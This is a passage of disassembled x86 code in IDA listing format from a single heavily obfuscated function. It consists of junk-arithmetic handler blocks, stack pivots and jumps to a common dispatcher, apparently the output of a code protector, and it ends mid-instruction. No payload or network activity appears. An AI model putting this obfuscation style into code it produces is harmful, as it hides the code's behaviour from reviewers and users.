loc_59F633: ; DATA XREF: sub_57DD3A+10382o push [esp+2Ah+var_2A] mov eax, [esp+2Eh+var_2E] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+32h+var_32] pop esp push 6DD6h mov [esp+32h+var_32], ebp mov ebp, esp push 1753h mov [esp+36h+var_36], ecx mov ecx, 4 jmp loc_5A3036 ; --------------------------------------------------------------------------- loc_59F666: ; CODE XREF: sub_57DD3A+22CCAj xor ebx, eax mov dx, word ptr [esp+36h+var_36] push ebp push esp jmp loc_593EE9 ; --------------------------------------------------------------------------- loc_59F673: ; CODE XREF: sub_57DD3A+1DC41j mov [esp+7Ch+var_7C], edx push eax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59F67D: ; CODE XREF: sub_57DD3A+19473j pop esi pop [esp+50h+var_50] jmp loc_596E87 ; --------------------------------------------------------------------------- loc_59F686: ; CODE XREF: sub_57DD3A+23A93j add ebp, 4 push edi mov edi, 4 add ebp, edi pop edi xor ebp, [esp+4Ch+var_4C] xor [esp+4Ch+var_4C], ebp xor ebp, [esp+4Ch+var_4C] jmp loc_59E71B ; --------------------------------------------------------------------------- loc_59F6A3: ; CODE XREF: sub_57DD3A+22E95j pop esp push eax sub esp, 4 mov [esp+50h+var_50], ecx jmp loc_596DE4 ; --------------------------------------------------------------------------- loc_59F6B3: ; CODE XREF: sub_57DD3A+15A5Ej mov ecx, 3CA80F02h add ecx, eax pop eax jmp loc_598C2D ; --------------------------------------------------------------------------- loc_59F6C0: ; CODE XREF: sub_57DD3A+1F384j mov ebx, 722D70DAh sub eax, ebx jmp loc_58F86C ; --------------------------------------------------------------------------- loc_59F6CC: ; CODE XREF: sub_57DD3A+1F950j mov ecx, 13F6752Ah jmp loc_58E98A ; --------------------------------------------------------------------------- loc_59F6D6: ; CODE XREF: sub_57DD3A+1CE9Cj push ebp jmp loc_59854F ; --------------------------------------------------------------------------- loc_59F6DC: ; CODE XREF: sub_57DD3A+1D3C8j pop eax push ebx mov bl, ch mov ah, bl pop ebx pop ecx jmp loc_59C38D ; --------------------------------------------------------------------------- loc_59F6E9: ; CODE XREF: sub_57DD3A+22F80j pop esp jmp loc_594A85 ; --------------------------------------------------------------------------- loc_59F6EF: ; CODE XREF: sub_57DD3A+18BE1j mov eax, 1 jmp loc_5973E0 ; --------------------------------------------------------------------------- loc_59F6F9: ; CODE XREF: sub_57DD3A+1513Bj add [esp+14h+var_16+2], 4 mov edx, [esp+14h+var_16+2] push edx mov edx, esp add edx, 4 jmp loc_59AD92 ; --------------------------------------------------------------------------- loc_59F711: ; CODE XREF: sub_57DD3A+19684j pop esi xchg eax, [esp+12h+var_12] jmp loc_5A24FA ; --------------------------------------------------------------------------- loc_59F71A: ; CODE XREF: sub_57DD3A+15EA7j push ecx jmp loc_5A0C76 ; --------------------------------------------------------------------------- loc_59F720: ; CODE XREF: sub_57DD3A+1D4A0j add ecx, ebx pop ebx jmp loc_598E6D ; --------------------------------------------------------------------------- loc_59F728: ; CODE XREF: sub_57DD3A+24E91j and ebx, edx pop edx and ebx, 1FB631BAh shr ebx, 2 shl ebx, 7 xor ebx, 40801400h mov ecx, ebx jmp loc_58EADE ; --------------------------------------------------------------------------- loc_59F744: ; CODE XREF: sub_57DD3A+1B2D4j sub esp, 4 mov [esp+66h+var_68+2], ecx pop ebx jmp loc_59B040 ; --------------------------------------------------------------------------- loc_59F753: ; CODE XREF: sub_57DD3A+19D0Dj xor ebp, [esp+36h+var_36] xor [esp+36h+var_36], ebp jmp loc_593310 ; --------------------------------------------------------------------------- loc_59F75E: ; CODE XREF: sub_57DD3A+1F99Ej sub ebp, 7BE5B25Eh add ebx, ebp pop ebp push edi mov edi, 4 add ebx, edi pop edi xor ebx, [esp+54h+var_54] xor [esp+54h+var_54], ebx jmp loc_597CAA ; --------------------------------------------------------------------------- loc_59F77B: ; CODE XREF: sub_57DD3A+1B950j mov edx, [esp+5Ah+var_5C+2] push 4FF2h mov [esp+5Eh+var_60+2], edi push esp pop edi push esi mov esi, 18FF1199h shl esi, 7 shl esi, 7 push edx mov edx, 38E673Bh push edi mov edi, 150E0F00h sub edi, 485714EDh jmp loc_58E90C ; --------------------------------------------------------------------------- loc_59F7AB: ; CODE XREF: sub_57DD3A+1A6BFj push [esp-4+arg_0] pop edi add esp, 4 xor ebp, [esp+0] xor [esp+0], ebp xor ebp, [esp+0] mov esp, [esp+0] mov [esp+0], dx push ax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59F7CA: ; CODE XREF: sub_57DD3A+18D74j mov edx, 4 add ecx, edx pop edx push esi mov esi, 4 sub ecx, esi pop esi xchg ecx, [esp] mov esp, [esp] mov [esp], ebp mov ebp, esp push esi mov esi, esp jmp loc_5925AD ; --------------------------------------------------------------------------- loc_59F7EE: ; CODE XREF: sub_57DD3A+180B4j or ebp, 6FC12F93h add ebp, 0B4E2EFAh jmp loc_59EAF3 ; --------------------------------------------------------------------------- loc_59F7FF: ; CODE XREF: sub_57DD3A+159B5j push ebp mov ebp, 4 add esi, ebp pop ebp push 75F3h mov [esp+2Ah+var_2A], ecx jmp loc_59E87E ; --------------------------------------------------------------------------- loc_59F815: ; CODE XREF: sub_57DD3A+152F1j mov ebp, 210B399Bh jmp loc_591FFB ; --------------------------------------------------------------------------- loc_59F81F: ; CODE XREF: sub_57DD3A+20F97j add ebx, edi pop edi jmp loc_59C9E3 ; --------------------------------------------------------------------------- loc_59F827: ; CODE XREF: sub_57DD3A+14D98j not esi jmp loc_5914BF ; --------------------------------------------------------------------------- loc_59F82E: ; CODE XREF: sub_57DD3A+1073Aj add esp, 4 mov ebx, [esp+0] push eax mov eax, esp push ebx jmp loc_59B888 ; --------------------------------------------------------------------------- loc_59F83D: ; DATA XREF: sub_57DD3A+10346o mov cx, word ptr [esp+8+var_8] sub esp, 4 jmp loc_59568D ; --------------------------------------------------------------------------- loc_59F849: ; CODE XREF: sub_57DD3A+1FABAj pop ebx push ebx mov bh, al mov cl, bh pop ebx mov eax, [esp+28h+var_2A+2] add esp, 4 push 6BCh mov [esp+28h+var_2A+2], edx jmp loc_592D54 ; --------------------------------------------------------------------------- loc_59F863: ; CODE XREF: sub_57DD3A+18527j shl ebx, 2 push edx jmp loc_599A09 ; --------------------------------------------------------------------------- loc_59F86C: ; CODE XREF: sub_57DD3A+1F77Fj push [esp+42h+var_42] mov eax, [esp+46h+var_46] add esp, 4 push 50B6h mov [esp+46h+var_46], edx jmp loc_59178B ; --------------------------------------------------------------------------- loc_59F882: ; CODE XREF: sub_57DD3A+10C40j mov [esp+6+var_8+2], ebp jmp loc_595506 ; --------------------------------------------------------------------------- loc_59F88A: ; CODE XREF: sub_57DD3A+1B93Ej add esp, 4 add edi, 0FFFFFFFFh push ebp mov ebp, 7FC42D93h sub edi, ebp mov ebp, [esp+5Eh+var_60+2] add esp, 4 and eax, edi push [esp+5Ah+var_5C+2] mov edi, [esp+5Eh+var_60+2] push 710Eh mov [esp+62h+var_64+2], ecx push esp pop ecx push eax jmp loc_59AF8B ; --------------------------------------------------------------------------- loc_59F8B9: ; CODE XREF: sub_57DD3A+1B8D2j add ebp, edi jmp loc_59C3A9 ; --------------------------------------------------------------------------- loc_59F8C0: ; CODE XREF: sub_57DD3A+12659j pop eax pop esi or edx, eax mov eax, [esp-10h+arg_A+2] add esp, 4 xor edx, 4626D37Ah xor ecx, edx pop edx push edi mov edi, 24F63685h jmp loc_59A0B6 ; --------------------------------------------------------------------------- loc_59F8E1: ; CODE XREF: sub_57DD3A+1F58Ej xor esi, [esp+0] pop esp div ecx jmp loc_58EA55 ; --------------------------------------------------------------------------- loc_59F8EC: ; CODE XREF: sub_57DD3A+23904j push eax mov eax, 41924E1Fh jmp loc_59F586 ; --------------------------------------------------------------------------- loc_59F8F7: ; CODE XREF: sub_57DD3A+1AFF4j and ebp, 5EFF1889h xor ebp, 490878B2h xor ebp, 0BB3EBE39h jmp loc_59A1D9 ; --------------------------------------------------------------------------- loc_59F90E: ; CODE XREF: sub_57DD3A+13A30j xchg esi, [esp+58h+var_58] jmp loc_59DE66 ; --------------------------------------------------------------------------- loc_59F916: ; CODE XREF: sub_57DD3A+1EE56j mov edx, 4 jmp loc_5919B7 ; --------------------------------------------------------------------------- loc_59F920: ; CODE XREF: sub_57DD3A+1BBD0j neg ebp add ebp, 24C868E7h add ebx, ebp pop ebp xor ebx, [esp+2+var_4+2] xor [esp+2+var_4+2], ebx xor ebx, [esp+2+var_4+2] mov esp, [esp+2+var_4+2] push [esp+2+var_4+2] pop edx push ebx push 5772h mov [esp+0], esp push esi jmp loc_5A2B13 ; --------------------------------------------------------------------------- loc_59F94A: ; CODE XREF: sub_57DD3A+223C4j pop ebx sub ebx, esi pop esi sub ebx, 61E73299h sub ebx, 5A13A3Dh sub ebx, eax add ebx, 5A13A3Dh push edx jmp loc_591F86 ; --------------------------------------------------------------------------- loc_59F968: ; CODE XREF: sub_57DD3A+13454j mov edi, 71C46B2Eh mov eax, 75E972BFh sub eax, edi jmp loc_59A161 ; --------------------------------------------------------------------------- loc_59F979: ; CODE XREF: sub_57DD3A+21342j push ebx mov ebx, 4 add eax, ebx pop ebx add eax, 4 xchg eax, [esp+58h+var_58] mov esp, [esp+58h+var_58] push edi push 774F4735h pop edi or edi, 31551086h push ebx mov ebx, 19185B48h sub ebx, 0B7DF8292h sub edi, ebx jmp loc_5984AE ; --------------------------------------------------------------------------- loc_59F9AB: ; CODE XREF: sub_57DD3A+148C6j push ebp pop ebx mov ebp, [esp+24h+var_26+2] add esp, 4 add ebp, ebx pop ebx xor ebp, [esp+1Ch+var_1E+2] xor [esp+1Ch+var_1E+2], ebp xor ebp, [esp+1Ch+var_1E+2] mov esp, [esp+1Ch+var_1E+2] sar [esp+1Ch+var_1E+2], cl pushf jmp loc_5A1CF1 ; --------------------------------------------------------------------------- loc_59F9CE: ; CODE XREF: sub_57DD3A+2033Aj add edx, esi pop esi push ecx push 2 pop ecx add edx, 1F67B89h sub edx, ecx jmp loc_59CF91 ; --------------------------------------------------------------------------- loc_59F9E5: ; CODE XREF: sub_57DD3A+14388j mov ebx, [esp+44h+var_46+2] add esp, 4 add edx, ecx sub edx, 5FEB01EFh mov ecx, [esp+40h+var_42+2] add esp, 4 xchg edx, [esp+3Ch+var_3E+2] pop esp and byte ptr [esp+38h+var_3A+2], al pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59FA09: ; CODE XREF: sub_57DD3A+1C8BDj neg edi sub edi, 12AF3B2Fh sub esp, 4 mov [esp+24h+var_26+2], ebx mov ebx, 6A4A5AF7h sub edi, ebx pop ebx jmp loc_599D68 ; --------------------------------------------------------------------------- loc_59FA27: ; CODE XREF: sub_57DD3A+1423Aj or ecx, 385858E8h push esi mov esi, 6AEF1593h add esi, 1F461A2Eh and esi, 43EC4686h or esi, 441338F8h xor esi, 1EB94965h jmp loc_59B716 ; --------------------------------------------------------------------------- loc_59FA50: ; CODE XREF: sub_57DD3A+1D634j pop edi mov edi, [esp+44h+var_46+2] push esi mov esi, esp push edi mov edi, 4 add esi, edi pop edi add esi, 4 sub esp, 4 jmp loc_59C122 ; --------------------------------------------------------------------------- loc_59FA6E: ; CODE XREF: sub_57DD3A+1F03Cj add esp, 4 add esi, 649F2000h push ebx mov ebx, 4A1A3A8Bh inc ebx inc ebx jmp loc_5A0EE8 ; --------------------------------------------------------------------------- loc_59FA87: ; CODE XREF: sub_57DD3A+1E072j mov esi, [esp+16h+var_16] add esp, 4 add esi, 38D16270h push esi pop eax jmp loc_5A15E7 ; --------------------------------------------------------------------------- loc_59FA9D: ; CODE XREF: sub_57DD3A+1C454j push ecx jmp loc_59D2A4 ; --------------------------------------------------------------------------- loc_59FAA3: ; CODE XREF: sub_57DD3A+11030j xor ebx, 20ED749Fh shl ebx, 8 xor ebx, 1C71650Ch jmp loc_593CE3 ; --------------------------------------------------------------------------- loc_59FAB7: ; CODE XREF: sub_57DD3A+11C10j push 1D5h mov [esp+42h+var_42], edi jmp loc_594BC6 ; --------------------------------------------------------------------------- loc_59FAC4: ; CODE XREF: sub_57DD3A+16E95j add ebx, edi jmp loc_592F16 ; --------------------------------------------------------------------------- loc_59FACB: ; CODE XREF: sub_57DD3A+1D39Bj pop esi push ebx mov bx, 345Bh jmp loc_598713 ; --------------------------------------------------------------------------- loc_59FAD6: ; CODE XREF: sub_57DD3A+1C1FBj mov ebp, esp jmp loc_5A215D ; --------------------------------------------------------------------------- loc_59FADD: ; CODE XREF: sub_57DD3A+206C0j push esp jmp loc_598B9E ; --------------------------------------------------------------------------- loc_59FAE3: ; CODE XREF: sub_57DD3A+1A890j push ebx mov ebx, 4F6C127Ch add eax, 5BED2903h add eax, ebx jmp loc_5A1A6B ; --------------------------------------------------------------------------- loc_59FAF5: ; CODE XREF: sub_57DD3A+210D5j push esi sub [esp+1Ch+var_1E+2], 42EE291Dh pop ebx add ebx, 42EE291Dh jmp loc_58F3DB ; --------------------------------------------------------------------------- loc_59FB09: ; CODE XREF: sub_57DD3A+13198j push esp jmp loc_5A2A57 ; --------------------------------------------------------------------------- loc_59FB0F: ; CODE XREF: sub_57DD3A+18C54j push edx jmp loc_59EF91 ; --------------------------------------------------------------------------- loc_59FB15: ; CODE XREF: sub_57DD3A+170DDj mov esi, 4FBC42BAh and esi, 18A02D7Bh sub esi, 0CCDA9FB3h mov eax, esi jmp loc_5929AB ; --------------------------------------------------------------------------- loc_59FB2D: ; DATA XREF: sub_57DD3A+103F6o mov esp, [esp+60h+var_60] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59FB35: ; CODE XREF: sub_57DD3A+14782j xor ebp, [esp+5Ch+var_5C] mov esp, [esp+5Ch+var_5C] inc byte ptr [esp+5Ch+var_5C] pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59FB44: ; DATA XREF: sub_57DD3A+1035Ao push [esp+60h+var_60] pop eax sub esp, 4 mov [esp+64h+var_64], edx push esp jmp loc_596E07 ; --------------------------------------------------------------------------- loc_59FB57: ; CODE XREF: sub_57DD3A+11113j sub ebp, edi sub ebp, 554F4EFFh push ebp pop edi mov ebp, [esp+2Eh+var_2E] add esp, 4 push eax mov eax, 0 jmp loc_59551F ; --------------------------------------------------------------------------- loc_59FB75: ; CODE XREF: sub_57DD3A+19BAFj mov edx, 4 sub eax, edx pop edx push eax jmp loc_598C5F ; --------------------------------------------------------------------------- loc_59FB83: ; CODE XREF: sub_57DD3A+17B94j mov edx, [esp+5Ch+var_5C] add esp, 4 shl ecx, 1 push ebx mov ebx, 3BEDE84h xor ecx, ebx pop ebx add ebx, ecx jmp loc_590D42 ; --------------------------------------------------------------------------- loc_59FB9E: ; CODE XREF: sub_57DD3A+1ACB6j add esp, 4 jmp loc_5A251C ; --------------------------------------------------------------------------- loc_59FBA6: ; CODE XREF: sub_57DD3A+2369Dj mov dl, bh jmp loc_59A6BA ; --------------------------------------------------------------------------- loc_59FBAD: ; CODE XREF: sub_57DD3A+1BA30j and bh, 0FAh xor bh, 2Bh or cl, bh mov ebx, [esp+7Ch+var_7C] add esp, 4 jmp loc_596A0D ; --------------------------------------------------------------------------- loc_59FBC3: ; CODE XREF: sub_57DD3A+19FA4j pop ebx jmp loc_597EC6 ; --------------------------------------------------------------------------- loc_59FBC9: ; CODE XREF: sub_57DD3A+1C7C0j shl ah, 2 add ah, 4Eh sub dh, 58h jmp loc_598677 ; --------------------------------------------------------------------------- loc_59FBD7: ; CODE XREF: sub_57DD3A+1CF4Dj push edi mov edi, 19336D3Bh or edi, 6C6E6C5Eh jmp loc_5943FE ; --------------------------------------------------------------------------- loc_59FBE8: ; CODE XREF: sub_57DD3A+170BAj add eax, 4 push edi mov edi, 2 sub eax, edi pop edi push eax push [esp+26h+var_22] jmp loc_598F3A ; --------------------------------------------------------------------------- loc_59FC00: ; CODE XREF: sub_57DD3A+1F3A9j push ebx push edi push ebp mov ebp, 221F1B88h jmp loc_59DDC7 ; --------------------------------------------------------------------------- loc_59FC0D: ; CODE XREF: sub_57DD3A+15A72j add esp, 4 push ecx push edx jmp loc_59BE48 ; --------------------------------------------------------------------------- loc_59FC1A: ; CODE XREF: sub_57DD3A+1F3B2j push cx sub byte ptr [esp+3Ch+var_3E+2], 0FFh jmp loc_59996A ; --------------------------------------------------------------------------- loc_59FC25: ; CODE XREF: sub_57DD3A+20113j inc eax or eax, 3191535Dh jmp loc_592BAD ; --------------------------------------------------------------------------- loc_59FC30: ; CODE XREF: sub_57DD3A+1B9B6j mov eax, [esp+0Eh+var_E] add esp, 4 push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp+0Eh+var_E] jmp loc_59B38E ; --------------------------------------------------------------------------- loc_59FC50: ; CODE XREF: sub_57DD3A+204F5j sub ebx, 733177FFh jmp loc_59973C ; --------------------------------------------------------------------------- loc_59FC5B: ; CODE XREF: sub_57DD3A+187F7j mov esi, 4CE100D8h dec esi xor esi, 2636EE7h jmp loc_5954F3 ; --------------------------------------------------------------------------- loc_59FC6C: ; CODE XREF: sub_57DD3A+1BB81j push ecx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+16h+var_16] jmp loc_59A87E ; --------------------------------------------------------------------------- loc_59FC84: ; CODE XREF: sub_57DD3A+19E2Fj xor [esp+58h+var_58], ecx push [esp+58h+var_58] jmp loc_59E178 ; --------------------------------------------------------------------------- loc_59FC8F: ; CODE XREF: sub_57DD3A+20647j add ebp, edx pop edx jmp loc_594F7D ; --------------------------------------------------------------------------- loc_59FC97: ; CODE XREF: sub_57DD3A+19836j mov [esp+88h+var_88], ecx mov ecx, 21149D31h xor edi, ecx pop ecx xor eax, edi pop edi xor eax, 10F30232h and edx, eax pop eax add edx, 0FFFFFFFFh xor edx, 253B56CBh jmp loc_59294C ; --------------------------------------------------------------------------- loc_59FCBB: ; CODE XREF: sub_57DD3A+11F8Bj and esi, 39CC29F5h jmp loc_5A12C0 ; --------------------------------------------------------------------------- loc_59FCC6: ; CODE XREF: sub_57DD3A+25345j push ax sub esp, 2 mov word ptr [esp+1Ah+var_1A], dx jmp loc_5921B0 ; --------------------------------------------------------------------------- loc_59FCD4: ; CODE XREF: sub_57DD3A+2516Ej push ebx xor [esp+1Eh+var_1E], 532124CAh pop edi jmp loc_5A0A17 ; --------------------------------------------------------------------------- loc_59FCE2: ; CODE XREF: sub_57DD3A+111BFj pop ecx sub [esp+36h+var_32], eax mov eax, [esp+36h+var_36] add esp, 4 jmp loc_5A0BC3 ; --------------------------------------------------------------------------- loc_59FCF5: ; CODE XREF: sub_57DD3A+14191j pop esp mov word ptr [esp+68h+var_68], cx jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59FCFF: ; CODE XREF: sub_57DD3A+25006j sub esp, 4 mov [esp+6Ch+var_6C], edi mov edi, esp add edi, 4 sub esp, 4 mov [esp+70h+var_70], ecx mov ecx, 0D5A6A9Ch neg ecx and ecx, 300F1115h push ecx xchg ecx, [esp+74h+var_74] not ecx jmp loc_593A0D ; --------------------------------------------------------------------------- loc_59FD31: ; CODE XREF: sub_57DD3A+1824Fj mov [eax], bl pop eax pop edx mov ebx, [esp+2Ah+var_2A] jmp loc_599B6C ; --------------------------------------------------------------------------- loc_59FD3D: ; CODE XREF: sub_57DD3A+1CF25j push ebp mov ebp, 4FAF63BBh jmp loc_58E3C0 ; --------------------------------------------------------------------------- loc_59FD48: ; CODE XREF: sub_57DD3A+13D3Fj mov ebp, 6AB1623h xor ebp, edx jmp loc_590473 ; --------------------------------------------------------------------------- loc_59FD54: ; CODE XREF: sub_57DD3A+200F8j push edi mov edi, esp add edi, 4 push esi mov esi, 4 sub edi, esi jmp loc_5977AC ; --------------------------------------------------------------------------- loc_59FD6A: ; CODE XREF: sub_57DD3A+14A5Aj push 2CA5h mov [esp+74h+var_74], ecx mov ecx, 4 add edx, ecx pop ecx push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+74h+var_74] mov esp, [esp+74h+var_74] mov [esp+74h+var_74], edx push [esp+74h+var_70] jmp loc_592569 ; --------------------------------------------------------------------------- loc_59FD97: ; CODE XREF: sub_57DD3A+1CE12j push edx jmp loc_597F7F ; --------------------------------------------------------------------------- loc_59FD9D: ; CODE XREF: sub_57DD3A+14A6Fj push [esp+78h+var_74] pop ecx pop [esp+78h+var_78] jmp loc_59752B ; --------------------------------------------------------------------------- loc_59FDAA: ; CODE XREF: sub_57DD3A+1DBF6j pop ebp mov ecx, ebp jmp loc_594A14 ; --------------------------------------------------------------------------- loc_59FDB2: ; CODE XREF: sub_57DD3A+1DD9Dj push edx jmp loc_5958C7 ; --------------------------------------------------------------------------- loc_59FDB8: ; CODE XREF: sub_57DD3A+1F725j xchg ebp, [esp+36h+var_36] jmp loc_5A161A ; --------------------------------------------------------------------------- loc_59FDC0: ; CODE XREF: sub_57DD3A+244EEj pop [esp+36h+var_36] push esi mov esi, 4 add [esp+36h+var_32], esi jmp loc_5935C0 ; --------------------------------------------------------------------------- loc_59FDD2: ; CODE XREF: sub_57DD3A+24E1Aj add esp, 4 add al, 0E9h sub al, 0DCh add al, dh add al, 0DCh push small 4823h jmp loc_595E98 ; --------------------------------------------------------------------------- loc_59FDE9: ; CODE XREF: sub_57DD3A+18281j mov ecx, 499A59BBh xor ebp, ecx pop ecx push esi jmp loc_5A019E ; --------------------------------------------------------------------------- loc_59FDF7: ; CODE XREF: sub_57DD3A+1258Dj xor eax, ebx pop ebx sub esp, 4 mov [esp+32h+var_32], edi push 82806EBh jmp loc_59E944 ; --------------------------------------------------------------------------- loc_59FE0D: ; CODE XREF: sub_57DD3A+1C1B7j mov eax, [esp+16h+var_16] jmp loc_59B7BA ; --------------------------------------------------------------------------- loc_59FE15: ; CODE XREF: sub_57DD3A+13251j add ebx, esi pop esi mov eax, ebx pop ebx add esi, eax pop eax push edi mov edi, esp add edi, 4 push esi mov esi, 4 sub edi, esi jmp loc_590B3C ; --------------------------------------------------------------------------- loc_59FE34: ; CODE XREF: sub_57DD3A+2406Fj mov ebx, [esp+54h+var_54] add esp, 4 jmp loc_596F27 ; --------------------------------------------------------------------------- loc_59FE42: ; CODE XREF: sub_57DD3A+14FCFj and eax, 390243D2h shr eax, 7 not eax and eax, 3E5222DCh xor eax, 3E502258h add ebx, eax pop eax xchg ebx, [esp+5Ch+var_5C] pop esp mov ecx, 651E13A3h xor ecx, eax mov eax, [esp+58h+var_58] add esp, 4 and eax, ecx mov ecx, [esp+54h+var_54] jmp loc_5988A6 ; --------------------------------------------------------------------------- loc_59FE77: ; CODE XREF: sub_57DD3A+1ECF8j mov [esp+36h+var_36], eax mov eax, esp push 392Eh mov [esp+3Ah+var_3A], edx jmp loc_591081 ; --------------------------------------------------------------------------- loc_59FE89: ; CODE XREF: sub_57DD3A+17009j mov esi, [esp+26h+var_26] add esp, 4 push edx mov edx, 39060E5Fh dec edx sub edx, 0FB9F925Dh add eax, 523F2131h add eax, edx jmp loc_5A05B2 ; --------------------------------------------------------------------------- loc_59FEA8: ; CODE XREF: sub_57DD3A+12AA4j test cl, al pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59FEB0: ; DATA XREF: sub_57DD3A+103D2o push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp+1Ah+var_1A], cl pushf jmp loc_59ECD6 ; --------------------------------------------------------------------------- loc_59FEC0: ; CODE XREF: sub_57DD3A+229C3j neg eax jmp loc_5A2782 ; --------------------------------------------------------------------------- loc_59FEC7: ; CODE XREF: sub_57DD3A+23B87j add edx, ebp pop ebp add edx, 4 xor edx, [esp+1Ah+var_1A] xor [esp+1Ah+var_1A], edx xor edx, [esp+1Ah+var_1A] jmp loc_595339 ; --------------------------------------------------------------------------- loc_59FEDB: ; CODE XREF: sub_57DD3A+1C1F2j pop eax sub bl, dl pop edx jmp loc_59B528 ; --------------------------------------------------------------------------- loc_59FEE4: ; CODE XREF: sub_57DD3A+24D55j inc ebp jmp loc_59176F ; --------------------------------------------------------------------------- loc_59FEEA: ; CODE XREF: sub_57DD3A+249B9j sub ecx, 4 xor ecx, [esp+8+var_8] xor [esp+8+var_8], ecx jmp loc_59D937 ; --------------------------------------------------------------------------- loc_59FEFB: ; CODE XREF: sub_57DD3A+2410Cj push ecx mov ecx, 4 add eax, ecx jmp loc_5916A8 ; --------------------------------------------------------------------------- loc_59FF08: ; CODE XREF: sub_57DD3A+1210Ej sub ah, dh push [esp+80h+var_80] pop edx add esp, 4 mov ch, ah pop eax sub ch, 42h sub esp, 4 mov [esp+7Ch+var_7C], eax mov ah, ch mov dh, ah pop eax jmp loc_597E62 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+78h+var_78] push 1E47h mov [esp+7Ch+var_7C], ebp push 4560h mov [esp+80h+var_80], esp add [esp+80h+var_80], 4 pop ebp push 0C42h mov [esp+80h+var_80], edx push eax push ecx push edx mov edx, 678542F9h jmp loc_5993E9 ; --------------------------------------------------------------------------- loc_59FF5B: ; CODE XREF: sub_57DD3A+1BB3Cj mov edi, 4B43081Fh sub edx, 1AA842DAh sub edx, edi add edx, 1AA842DAh jmp loc_59E6F5 ; --------------------------------------------------------------------------- loc_59FF73: ; CODE XREF: sub_57DD3A+1E72Dj pop [esp+0Eh+var_E] mov esp, [esp+0] mov [esp+0], ebx push esp pop ebx push 2EDBh jmp loc_596E93 ; --------------------------------------------------------------------------- loc_59FF88: ; CODE XREF: sub_57DD3A+1BB31j mov [esp+44h+var_46+2], edx mov edx, 27FF10DDh inc edx jmp loc_59D119 ; --------------------------------------------------------------------------- loc_59FF96: ; CODE XREF: sub_57DD3A+24486j push edx mov dl, 0ECh jmp loc_59A6B0 ; --------------------------------------------------------------------------- loc_59FF9E: ; CODE XREF: sub_57DD3A+12A9Ej pop eax push eax push edx push ebx mov bl, 0A0h push eax mov al, bl mov dh, al jmp loc_590345 ; --------------------------------------------------------------------------- loc_59FFAE: ; CODE XREF: sub_57DD3A+19AFCj push edi push 4 pop edi sub ecx, 0D34763Eh sub ecx, edi add ecx, 0D34763Eh pop edi xor ecx, [esp+0Eh+var_E] xor [esp+0Eh+var_E], ecx xor ecx, [esp+0Eh+var_E] mov esp, [esp+0Eh+var_E] mov [esp+0Eh+var_E], eax jmp loc_59DD9B ; --------------------------------------------------------------------------- loc_59FFD8: ; CODE XREF: sub_57DD3A+1149Cj mov [esp+10h+var_12+2], edx push 4 pop edx add esi, edx jmp loc_599044 ; --------------------------------------------------------------------------- loc_59FFE8: ; CODE XREF: sub_57DD3A+1A5DEj pop edx add esp, 4 add al, cl mov ecx, [esp+8+var_8] jmp loc_59306F ; --------------------------------------------------------------------------- loc_59FFF6: ; CODE XREF: sub_57DD3A+1BBF4j xor eax, ebx jmp loc_59F1D4 ; --------------------------------------------------------------------------- loc_59FFFD: ; CODE XREF: sub_57DD3A+15738j push edi push edx mov edx, 740A4E26h mov edi, edx mov edx, [esp+42h+var_42] jmp loc_595E8A ; --------------------------------------------------------------------------- loc_5A000E: ; CODE XREF: sub_57DD3A+1879Ej push ecx mov cl, 0F4h jmp loc_59608A ; --------------------------------------------------------------------------- loc_5A0016: ; CODE XREF: sub_57DD3A+1D52Ej add al, ch jmp loc_59CF1A ; --------------------------------------------------------------------------- loc_5A001D: ; CODE XREF: sub_57DD3A+17DD0j jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A0022: ; CODE XREF: sub_57DD3A+13F90j pop edx jmp loc_5994AE ; --------------------------------------------------------------------------- loc_5A0028: ; CODE XREF: sub_57DD3A+11778j shl ebp, 8 jmp loc_595FBA ; --------------------------------------------------------------------------- loc_5A0030: ; CODE XREF: sub_57DD3A+1FDD8j add ebx, 4 sub ebx, 4 xchg ebx, [esp-16h+arg_12] pop esp mov [esp-1Ah+arg_16], ebx jmp loc_5962DD ; --------------------------------------------------------------------------- loc_5A0045: ; CODE XREF: sub_57DD3A+12CCFj pop ebp shr ecx, 5 neg ecx jmp loc_59524D ; --------------------------------------------------------------------------- loc_5A0050: ; CODE XREF: sub_57DD3A+22415j push esi push 689E397Ch pop esi jmp loc_59BDD6 ; --------------------------------------------------------------------------- loc_5A005C: ; CODE XREF: sub_57DD3A+1AAA0j mov ah, dl pop edx shl ah, 6 jmp loc_5A3074 ; --------------------------------------------------------------------------- loc_5A0067: ; CODE XREF: sub_57DD3A+1F880j pop ecx add ecx, 4 push esi push ecx mov ecx, 4 mov esi, ecx pop ecx add ecx, esi jmp loc_593C7B ; --------------------------------------------------------------------------- loc_5A007F: ; CODE XREF: sub_57DD3A+1A2DEj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+24h+var_26+2] pop esp jmp loc_5A25C6 ; --------------------------------------------------------------------------- loc_5A0096: ; CODE XREF: sub_57DD3A+150FFj sub ebp, 4 xchg ebp, [esp+18h+var_1A+2] pop esp mov [esp+14h+var_16+2], edi mov edi, 3A8E4079h sub eax, edi pop edi push [esp+10h+var_12+2] mov edx, [esp+14h+var_16+2] push ecx mov ecx, esp push ebx mov ebx, 4 add ecx, ebx pop ebx add ecx, 4 xchg ecx, [esp+18h+var_1A+2] pop esp jmp loc_59F2C8 ; --------------------------------------------------------------------------- loc_5A00CC: ; CODE XREF: sub_57DD3A+15789j add esp, 4 pop [esp+4+var_4] jmp loc_597662 ; --------------------------------------------------------------------------- loc_5A00D7: ; CODE XREF: sub_57DD3A+1CD71j push esi mov esi, esp jmp loc_5967ED ; --------------------------------------------------------------------------- loc_5A00DF: ; CODE XREF: sub_57DD3A+1A8EBj pop eax jmp loc_590C3F ; --------------------------------------------------------------------------- loc_5A00E5: ; CODE XREF: sub_57DD3A+14607j pop edx not edx xchg edx, ebx xor ebx, 0F06F093Ah add esi, 5EF8332Eh sub esi, ebx sub esi, 